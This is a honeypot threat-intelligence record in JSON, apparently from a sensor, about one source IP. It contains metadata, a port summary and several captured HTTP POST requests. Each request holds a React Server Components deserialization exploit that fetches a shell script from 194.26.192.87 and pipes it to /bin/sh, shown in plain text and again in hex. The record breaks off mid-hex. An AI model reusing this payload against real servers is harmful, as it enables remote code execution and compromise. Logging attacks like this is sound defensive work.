{"ip":"45.94.31.16","total_events":61,"verdict":{"verdict":"probing","label":"Low-level probing","detail":null,"confidence":"low","network_type":"CDN","why":["61 event(s), fewer than 10 distinct ports, no exploit payloads.","Not in any known-scanner range.","Sent 59,697 bytes despite few ports and no known exploit path: focused interaction with one service, worth a look."],"engagement":{"level":"payload","label":"Sustained payload","detail":"59,697 bytes sent","bytes_sent":59697,"session_seconds":0,"persistent":false}},"first_seen":"2026-07-28T20:57:58","last_seen":"2026-08-13T19:15:04","events_24h":0,"events_7d":20,"geo":{"country_code":"NL","country_name":"The Netherlands","region":"Flevoland","city":"Lelystad","lat":52.515,"lon":5.4847,"asn":210558,"org":"1337 Services GmbH"},"source_domain":null,"known_scanners":[],"scanner_tag":{"key":"peeringdb:as210558","label":"1337 Services GmbH","category":"cdn","url":"https://www.peeringdb.com/asn/210558"},"cve_matches":[],"malware":[],"top_ports":[{"port":3000,"proto":"tcp","label":"Web-alt","count":41},{"port":3001,"proto":"tcp","label":"","count":16},{"port":3002,"proto":"tcp","label":"","count":3},{"port":61617,"proto":"tcp","label":"","count":1}],"fingerprints":{"ssh_hassh":[],"tls_ja4":[],"tls_ja3":[],"ja4h":["po11nn0700_2b0ad527c537"]},"fingerprint_peers":{"po11nn0700_2b0ad527c537":5},"user_agents":["Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:152.0) Gecko/20100101 Firefox/152.0","Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0"],"timeline":[{"date":"2026-07-28","count":5},{"date":"2026-07-29","count":5},{"date":"2026-08-03","count":17},{"date":"2026-08-04","count":8},{"date":"2026-08-05","count":6},{"date":"2026-08-12","count":9},{"date":"2026-08-13","count":11}],"recent_events":[{"timestamp":"2026-08-13T19:15:04","port":3001,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/x-component\",\"connection\":\"close\",\"content-length\":\"694\",\"content-type\":\"multipart/form-data; boundary=0fdf55df9e085737676f582ed4e95a02\",\"host\":\"<HONEYPOT>:3001\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0\"}","body":"--0fdf55df9e085737676f582ed4e95a02\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('http').request({host:'194.26.192.87', port:80, path:'/rondo.aqu.sh', headers:{'User-Agent':'node'}},r=>r.pipe(process.mainModule.require('child_process').spawn('/bin/sh').stdin)).end();\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n--0fdf55df9e085737676f582ed4e95a02\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n--0fdf55df9e085737676f582ed4e95a02\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n--0fdf55df9e085737676f582ed4e95a02--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a333030310d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a3135332e3029204765636b6f2f32303130303130312046697265666f782f3135332e300d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570743a20746578742f782d636f6d706f6e656e740d0a4e6578742d416374696f6e3a20780d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d30666466353564663965303835373337363736663538326564346539356130320d0a436f6e74656e742d4c656e6774683a203639340d0a0d0a2d2d30666466353564663965303835373337363736663538326564346539356130320d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442313333375c227d222c225f726573706f6e7365223a7b225f707265666978223a2270726f636573732e6d61696e4d6f64756c652e7265717569726528276874747027292e72657175657374287b686f73743a273139342e32362e3139322e3837272c20706f72743a38302c20706174683a272f726f6e646f2e6171752e7368272c20686561646572733a7b27557365722d4167656e74273a276e6f6465277d7d2c723d3e722e706970652870726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e737061776e28272f62696e2f736827292e737464696e29292e656e6428293b222c225f6368756e6b73223a22245132222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d30666466353564663965303835373337363736663538326564346539356130320d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d30666466353564663965303835373337363736663538326564346539356130320d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a5b5d0d0a2d2d30666466353564663965303835373337363736663538326564346539356130322d2d0d0a","method":"POST","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","ja3":"","session":"958ddc38-1937-476e-a91e-0b3abedecce4","seq":1,"duration_ms":0,"bytes_in":993,"bytes_out":76},{"timestamp":"2026-08-13T19:12:32","port":3001,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/x-component\",\"connection\":\"close\",\"content-length\":\"694\",\"content-type\":\"multipart/form-data; boundary=0fdf55df9e085737676f582ed4e95a02\",\"host\":\"<HONEYPOT>:3001\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0\"}","body":"--0fdf55df9e085737676f582ed4e95a02\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('http').request({host:'194.26.192.87', port:80, path:'/rondo.aqu.sh', headers:{'User-Agent':'node'}},r=>r.pipe(process.mainModule.require('child_process').spawn('/bin/sh').stdin)).end();\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n--0fdf55df9e085737676f582ed4e95a02\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n--0fdf55df9e085737676f582ed4e95a02\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n--0fdf55df9e085737676f582ed4e95a02--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a333030310d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a3135332e3029204765636b6f2f32303130303130312046697265666f782f3135332e300d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570743a20746578742f782d636f6d706f6e656e740d0a4e6578742d416374696f6e3a20780d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d30666466353564663965303835373337363736663538326564346539356130320d0a436f6e74656e742d4c656e6774683a203639340d0a0d0a2d2d30666466353564663965303835373337363736663538326564346539356130320d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442313333375c227d222c225f726573706f6e7365223a7b225f707265666978223a2270726f636573732e6d61696e4d6f64756c652e7265717569726528276874747027292e72657175657374287b686f73743a273139342e32362e3139322e3837272c20706f72743a38302c20706174683a272f726f6e646f2e6171752e7368272c20686561646572733a7b27557365722d4167656e74273a276e6f6465277d7d2c723d3e722e706970652870726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e737061776e28272f62696e2f736827292e737464696e29292e656e6428293b222c225f6368756e6b73223a22245132222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d30666466353564663965303835373337363736663538326564346539356130320d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d30666466353564663965303835373337363736663538326564346539356130320d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a5b5d0d0a2d2d30666466353564663965303835373337363736663538326564346539356130322d2d0d0a","method":"POST","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","ja3":"","session":"3499c39c-575f-45f2-b558-6ab71c9d5963","seq":1,"duration_ms":0,"bytes_in":992,"bytes_out":76},{"timestamp":"2026-08-13T19:07:06","port":3001,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/x-component\",\"connection\":\"close\",\"content-length\":\"694\",\"content-type\":\"multipart/form-data; boundary=0fdf55df9e085737676f582ed4e95a02\",\"host\":\"<HONEYPOT>:3001\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0\"}","body":"--0fdf55df9e085737676f582ed4e95a02\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('http').request({host:'194.26.192.87', port:80, path:'/rondo.aqu.sh', headers:{'User-Agent':'node'}},r=>r.pipe(process.mainModule.require('child_process').spawn('/bin/sh').stdin)).end();\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n--0fdf55df9e085737676f582ed4e95a02\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n--0fdf55df9e085737676f582ed4e95a02\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n--0fdf55df9e085737676f582ed4e95a02--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a333030310d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a3135332e3029204765636b6f2f32303130303130312046697265666f782f3135332e300d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570743a20746578742f782d636f6d706f6e656e740d0a4e6578742d416374696f6e3a20780d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d30666466353564663965303835373337363736663538326564346539356130320d0a436f6e74656e742d4c656e6774683a203639340d0a0d0a2d2d30666466353564663965303835373337363736663538326564346539356130320d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442313333375c227d222c225f726573706f6e7365223a7b225f707265666978223a2270726f636573732e6d61696e4d6f64756c652e7265717569726528276874747027292e72657175657374287b686f73743a273139342e32362e3139322e3837272c20706f72743a38302c20706174683a272f726f6e646f2e6171752e7368272c20686561646572733a7b27557365722d4167656e74273a276e6f6465277d7d2c723d3e722e706970652870726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e737061776e28272f62696e2f736827292e737464696e29292e656e6428293b222c225f6368756e6b73223a22245132222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d30666466353564663965303835373337363736663538326564346539356130320d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d30666466353564663965303835373337363736663538326564346539356130320d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a5b5d0d0a2d2d30666466353564663965303835373337363736663538326564346539356130322d2d0d0a","method":"POST","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","ja3":"","session":"74787278-d9b0-46de-b2bb-b8fcf235abb9","seq":1,"duration_ms":0,"bytes_in":993,"bytes_out":76},{"timestamp":"2026-08-13T19:04:40","port":3001,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/x-component\",\"connection\":\"close\",\"content-length\":\"694\",\"content-type\":\"multipart/form-data; boundary=0fdf55df9e085737676f582ed4e95a02\",\"host\":\"<HONEYPOT>:3001\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0\"}","body":"--0fdf55df9e085737676f582ed4e95a02\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('http').request({host:'194.26.192.87', port:80, path:'/rondo.aqu.sh', headers:{'User-Agent':'node'}},r=>r.pipe(process.mainModule.require('child_process').spawn('/bin/sh').stdin)).end();\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n--0fdf55df9e085737676f582ed4e95a02\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n--0fdf55df9e085737676f582ed4e95a02\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n--0fdf55df9e085737676f582ed4e95a02--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a333030310d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a3135332e3029204765636b6f2f32303130303130312046697265666f782f3135332e300d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570743a20746578742f782d636f6d706f6e656e740d0a4e6578742d416374696f6e3a20780d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d30666466353564663965303835373337363736663538326564346539356130320d0a436f6e74656e742d4c656e6774683a203639340d0a0d0a2d2d30666466353564663965303835373337363736663538326564346539356130320d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442313333375c227d222c225f726573706f6e7365223a7b225f707265666978223a2270726f636573732e6d61696e4d6f64756c652e7265717569726528276874747027292e72657175657374287b686f73743a273139342e32362e3139322e3837272c20706f72743a38302c20706174683a272f726f6e646f2e6171752e7368272c20686561646572733a7b27557365722d4167656e74273a276e6f6465277d7d2c723d3e722e706970652870726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e737061776e28272f62696e2f736827292e737464696e29292e656e6428293b222c225f6368756e6b73223a22245132222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d30666466353564663965303835373337363736663538326564346539356130320d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d30666466353564663965303835373337363736663538326564346539356130320d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a5b5d0d0a2d2d30666466353564663965303835373337363736663538326564346539356130322d2d0d0a","method":"POST","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","ja3":"","session":"4ee204b1-3f99-47bb-a02c-15d9b980025c","seq":1,"duration_ms":0,"bytes_in":992,"bytes_out":76},{"timestamp":"2026-08-13T18:57:17","port":3001,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/x-component\",\"connection\":\"close\",\"content-length\":\"694\",\"content-type\":\"multipart/form-data; boundary=0fdf55df9e085737676f582ed4e95a02\",\"host\":\"<HONEYPOT>:3001\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0\"}","body":"--0fdf55df9e085737676f582ed4e95a02\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('http').request({host:'194.26.192.87', port:80, path:'/rondo.aqu.sh', headers:{'User-Agent':'node'}},r=>r.pipe(process.mainModule.require('child_process').spawn('/bin/sh').stdin)).end();\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n--0fdf55df9e085737676f582ed4e95a02\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n--0fdf55df9e085737676f582ed4e95a02\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n--0fdf55df9e085737676f582ed4e95a02--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a333030310d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a3135332e3029204765636b6f2f32303130303130312046697265666f782f3135332e300d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570743a20746578742f782d636f6d706f6e656e740d0a4e6578742d416374696f6e3a20780d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d30666466353564663965303835373337363736663538326564346539356130320d0a436f6e74656e742d4c656e6774683a203639340d0a0d0a2d2d30666466353564663965303835373337363736663538326564346539356130320d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442313333375c227d222c225f726573706f6e7365223a7b225f707265666978223a2270726f636573732e6d61696e4d6f64756c652e7265717569726528276874747027292e72657175657374287b686f73743a273139342e32362e3139322e3837272c20706f72743a38302c20706174683a272f726f6e646f2e6171752e7368272c20686561646572733a7b27557365722d4167656e74273a276e6f6465277d7d2c723d3e722e706970652870726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e737061776e28272f62696e2f736827292e737464696e29292e656e6428293b222c225f6368756e6b73223a22245132222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d30666466353564663965303835373337363736663538326564346539356130320d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d30666466353564663965303835373337363736663538326564346539356130320d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a5b5d0d0a2d2d30666466353564663965303835373337363736663538326564346539356130322d2d0d0a","method":"POST","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","ja3":"","session":"c78caf28-4827-474f-a11d-ed5c495cf589","seq":1,"duration_ms":0,"bytes_in":994,"bytes_out":76},{"timestamp":"2026-08-13T18:54:49","port":3001,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/x-component\",\"connection\":\"close\",\"content-length\":\"694\",\"content-type\":\"multipart/form-data; boundary=0fdf55df9e085737676f582ed4e95a02\",\"host\":\"<HONEYPOT>:3001\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0\"}","body":"--0fdf55df9e085737676f582ed4e95a02\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('http').request({host:'194.26.192.87', port:80, path:'/rondo.aqu.sh', headers:{'User-Agent':'node'}},r=>r.pipe(process.mainModule.require('child_process').spawn('/bin/sh').stdin)).end();\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n--0fdf55df9e085737676f582ed4e95a02\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n--0fdf55df9e085737676f582ed4e95a02\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n--0fdf55df9e085737676f582ed4e95a02--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a333030310d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a3135332e3029204765636b6f2f32303130303130312046697265666f782f3135332e300d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570743a20746578742f782d636f6d706f6e656e740d0a4e6578742d416374696f6e3a20780d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d30666466353564663965303835373337363736663538326564346539356130320d0a436f6e74656e742d4c656e6774683a203639340d0a0d0a2d2d30666466353564663965303835373337363736663538326564346539356130320d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442313333375c227d222c225f726573706f6e7365223a7b225f707265666978223a2270726f636573732e6d61696e4d6f64756c652e7265717569726528276874747027292e72657175657374287b686f73743a273139342e32362e3139322e3837272c20706f72743a38302c20706174683a272f726f6e646f2e6171752e7368272c20686561646572733a7b27557365722d4167656e74273a276e6f6465277d7d2c723d3e722e706970652870726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e737061776e28272f62696e2f736827292e737464696e29292e656e6428293b222c225f6368756e6b73223a22245132222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d30666466353564663965303835373337363736663538326564346539356130320d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d30666466353564663965303835373337363736663538326564346539356130320d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a5b5d0d0a2d2d30666466353564663965303835373337363736663538326564346539356130322d2d0d0a","method":"POST","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","ja3":"","session":"c15a5a65-4540-4d64-a178-9faedac104d7","seq":1,"duration_ms":0,"bytes_in":992,"bytes_out":76},{"timestamp":"2026-08-13T03:14:28","port":3000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/x-component\",\"connection\":\"close\",\"content-length\":\"694\",\"content-type\":\"multipart/form-data; boundary=0fdf55df9e085737676f582ed4e95a02\",\"host\":\"<HONEYPOT>:3000\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0\"}","body":"--0fdf55df9e085737676f582ed4e95a02\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('http').request({host:'194.26.192.87', port:80, path:'/rondo.aqu.sh', headers:{'User-Agent':'node'}},r=>r.pipe(process.mainModule.require('child_process').spawn('/bin/sh').stdin)).end();\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n--0fdf55df9e085737676f582ed4e95a02\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n--0fdf55df9e085737676f582ed4e95a02\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n--0fdf55df9e085737676f582ed4e95a02--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a333030300d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a3135332e3029204765636b6f2f32303130303130312046697265666f782f3135332e300d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570743a20746578742f782d636f6d706f6e656e740d0a4e6578742d416374696f6e3a20780d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d30666466353564663965303835373337363736663538326564346539356130320d0a436f6e74656e742d4c656e6774683a203639340d0a0d0a2d2d30666466353564663965303835373337363736663538326564346539356130320d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442313333375c227d222c225f726573706f6e7365223a7b225f707265666978223a2270726f636573732e6d61696e4d6f64756c652e7265717569726528276874747027292e72657175657374287b686f73743a273139342e32362e3139322e3837272c20706f72743a38302c20706174683a272f726f6e646f2e6171752e7368272c20686561646572733a7b27557365722d4167656e74273a276e6f6465277d7d2c723d3e722e706970652870726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e737061776e28272f62696e2f736827292e737464696e29292e656e6428293b222c225f6368756e6b73223a22245132222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d30666466353564663965303835373337363736663538326564346539356130320d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d30666466353564663965303835373337363736663538326564346539356130320d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a5b5d0d0a2d2d30666466353564663965303835373337363736663538326564346539356130322d2d0d0a","method":"POST","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","ja3":"","session":"27a4fd68-e993-4554-a90f-f57980966661","seq":1,"duration_ms":0,"bytes_in":992,"bytes_out":76},{"timestamp":"2026-08-13T03:14:14","port":3000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/x-component\",\"connection\":\"close\",\"content-length\":\"694\",\"content-type\":\"multipart/form-data; boundary=0fdf55df9e085737676f582ed4e95a02\",\"host\":\"<HONEYPOT>:3000\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0\"}","body":"--0fdf55df9e085737676f582ed4e95a02\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('http').request({host:'194.26.192.87', port:80, path:'/rondo.aqu.sh', headers:{'User-Agent':'node'}},r=>r.pipe(process.mainModule.require('child_process').spawn('/bin/sh').stdin)).end();\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n--0fdf55df9e085737676f582ed4e95a02\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n--0fdf55df9e085737676f582ed4e95a02\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n--0fdf55df9e085737676f582ed4e95a02--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a333030300d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a3135332e3029204765636b6f2f32303130303130312046697265666f782f3135332e300d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570743a20746578742f782d636f6d706f6e656e740d0a4e6578742d416374696f6e3a20780d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d30666466353564663965303835373337363736663538326564346539356130320d0a436f6e74656e742d4c656e6774683a203639340d0a0d0a2d2d30666466353564663965303835373337363736663538326564346539356130320d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e